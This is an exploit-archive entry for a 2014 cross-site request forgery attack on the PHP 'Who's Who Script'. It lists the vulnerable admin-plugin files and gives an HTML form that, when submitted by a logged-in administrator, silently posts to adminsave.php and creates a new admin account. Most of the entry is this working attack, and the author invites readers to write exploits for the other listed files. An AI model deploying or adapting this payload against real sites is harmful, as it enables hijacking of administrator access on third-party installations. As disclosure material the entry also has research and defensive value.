Who's Who Script - CSRF Exploit (Add Admin Account)

🗓️ 13 Nov 2014 00:00:00Reported by RootType
Who's Who Script CSRF Exploit (Add Admin Account

                                                # Title        : Who's Who Script CSRF Exploit (Add Admin Account)
# Author       : ZoRLu / [email protected] / [email protected]
# Home         : http://milw00rm.com / its online
# Date         : 30.10.2014
# Demo         : http://demo.phpscriptlerim.com/free/whoswho/
# Download1    : http://www.phpscriptlerim.com/download/indir.php?id=14
# Download2    : https://yadi.sk/d/C8eQcvUeJjeZ2
# Thks         : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others
# Note         : I write exploit for adminsave.php but other file has a vuln in /yonetim/plugins folder.
                 You can write exp. for other files.
# Vulnerable   : ayarsave.php, uyesave.php, slaytadd.php, slaytsave.php
# Not Vuln     : uyedel.php and slaytdel.php file's not vulnerable for CSRF. Because session control available to files
 
&lt;head&gt;
    &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;
    &lt;title&gt;Who's Who Script CSRF Exploit (Add Admin Account)&lt;/title&gt;
&lt;/head&gt;
 
&lt;body&gt;
 
&lt;div id=&quot;main&quot;&gt;
 
 
    &lt;div id=&quot;cols&quot; class=&quot;box&quot;&gt;
 
        &lt;hr class=&quot;noscreen&quot; /&gt;
 
        &lt;div id=&quot;content&quot; class=&quot;box&quot;&gt;
            &lt;h1&gt;Admin Panel&lt;/h1&gt;
            &lt;br&gt;
&lt;br&gt;&lt;br&gt;
                        &lt;form method=&quot;post&quot; action=&quot;http://localhost/filepath/yonetim/plugin/adminsave.php&quot;&gt;
                        &lt;label&gt;&lt;b&gt;Username:&lt;/b&gt;&lt;/label&gt;&lt;br&gt;
                        &lt;input type=&quot;text&quot; size=&quot;40&quot; name=&quot;username&quot; value=&quot;admin&quot; class=&quot;input-text&quot; /&gt;&lt;br&gt;&lt;br&gt;
                     
                        &lt;label&gt;&lt;b&gt;Password:&lt;/b&gt;&lt;/label&gt;&lt;br&gt;
                        &lt;input type=&quot;text&quot; size=&quot;40&quot; name=&quot;password&quot; class=&quot;input-text&quot; /&gt;&lt;br&gt;&lt;br&gt;
 
                        &lt;input type=&quot;submit&quot; class=&quot;input-submit&quot; name=&quot;gonder&quot; value=&quot;Save&quot; /&gt;
                        &lt;/form&gt;
                         
            &lt;br&gt;&lt;br&gt;
        &lt;/div&gt;
 
    &lt;/div&gt;
 
    &lt;hr class=&quot;noscreen&quot; /&gt;
 
    &lt;div id=&quot;footer&quot; class=&quot;box&quot;&gt;
 
        &lt;p class=&quot;f-left&quot;&gt;© Coded by ZoRLu&lt;/p&gt;
 
        &lt;p class=&quot;f-right&quot;&gt;&lt;a href=&quot;http://milw00rm.com&quot; target=&quot;_blank&quot;&gt;milw00rm.com&lt;/a&gt;&lt;/p&gt;
 
    &lt;/div&gt; 
 
&lt;/div&gt;
 
&lt;/body&gt;
&lt;/html&gt;
13 Nov 2014 00:00Current
7.1High risk
Vulners AI Score7.1